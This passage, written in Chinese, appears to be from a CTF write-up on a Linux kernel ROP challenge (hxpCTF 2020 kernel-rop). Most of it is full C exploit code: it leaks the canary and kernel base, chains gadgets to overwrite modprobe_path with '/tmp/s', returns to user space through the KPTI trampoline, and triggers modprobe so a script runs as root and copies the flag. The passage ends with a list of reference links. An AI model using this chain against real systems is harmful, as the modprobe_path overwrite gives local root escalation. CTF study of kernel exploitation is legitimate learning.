这个是.data 节的数据 到内核基址的偏移也是确定的,另外先前也知道了 memcpy 在偏移不变的段内。ROP 覆写即可
1 2 3 4 5 6 7 / # cat /proc/kallsyms | grep memcpy ffffffff81007c60 T __memcpy_mcsafe ffffffff8100dd60 T __memcpy ffffffff8100dd60 W memcpy / # cat /proc/kallsyms | grep modprobe_path ffffffff82061820 D modprobe_path
不过由于 SMAP 的缘故,memcpy 不能用,只能找写入的 gadget。
1 2 3 4 5 gef➤ x/10 i 0x306d +0xffffffff81000000 0xffffffff8100306d : mov QWORD PTR [rbx],rax 0xffffffff81003070 : pop rbx 0xffffffff81003071 : pop rbp 0xffffffff81003072 : ret
这样就还需要一个控制 rbx 的 gadget,rax 写成 /tmp/s
, rbx 写成 modprobe_path 的地址,控制 rax 的 exp1 里已经有了。
1 2 3 4 5 gef➤ x/10 i 0x3190 +0xffffffff81000000 0xffffffff81003190 : pop rbx 0xffffffff81003191 : pop r12 0xffffffff81003193 : pop rbp 0xffffffff81003194 : ret
那么 exp2 就很简单了。注意 /tmp/s
不要太长 不然就和后面的字符串拼接上了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 u64 kernel_base = 0xffffffff81000000 ; u64 kpti_trampoline = 0x200f10 +22 ; u64 modprobe = 0x1061820 ; u64 mov_ptr_rbx_rax_pop2_ret = 0x306d ; u64 pop_rbx_pop2_ret = 0x3190 ; u64 pop_rax_ret = 0x4d11 ; u64 tmp_rax; void print_leak (u64 *p, u64 n) { for (u64 i = 0 ; i < n; i++){ if (p[i] & 0xffffffff81000000 == 0xffffffff81000000 ) printf ("p[%d] : 0x%lx\n" , i, p[i]); } } void leak () { Info("leak" ); char store[0x300 ]; rfk(store,0x1f0 ); u64 *ptr = store; Info(" --> canary is 0x%lx" , ptr[2 ]); canary = ptr[2 ]; kernel_base = ptr[38 ] - 0xa157 ; Info(" --> kernel_base is 0x%lx" ,kernel_base); modprobe += kernel_base; mov_ptr_rbx_rax_pop2_ret += kernel_base; pop_rbx_pop2_ret += kernel_base; kpti_trampoline += kernel_base; pop_rax_ret += kernel_base; Done("leak" ); } void trigger_modprobe () { Info("trigger_modprobe" ); system( "echo '#!/bin/sh\n" "cp /flag /tmp/flag\n" "chmod 777 /tmp/flag' > /tmp/s\n" ); system("chmod +x /tmp/s" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy" ); system("chmod +x /tmp/dummy" ); Info("Run unknown file" ); system("/tmp/dummy" ); system("cat /tmp/flag" ); exit (0 ); } void overflow () { u64 payload[0x40 ]; u64 off = 16 ; payload[off++] = canary; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = pop_rbx_pop2_ret; payload[off++] = modprobe; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = pop_rax_ret; payload[off++] = 0x732f706d742f ; payload[off++] = mov_ptr_rbx_rax_pop2_ret; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = kpti_trampoline; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = trigger_modprobe; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; wtk(payload, off * 8 ); Done("read_from_addr_primitive" ); } int main () { saveState(); open_dev(); leak(); overflow(); }
# references
Learning Linux Kernel Exploitation - Part 1 - Midas Blog
2020 hxpctf kernel-rop_Ayakaaaa 的博客 - CSDN 博客
FGKASLR - CTF Wiki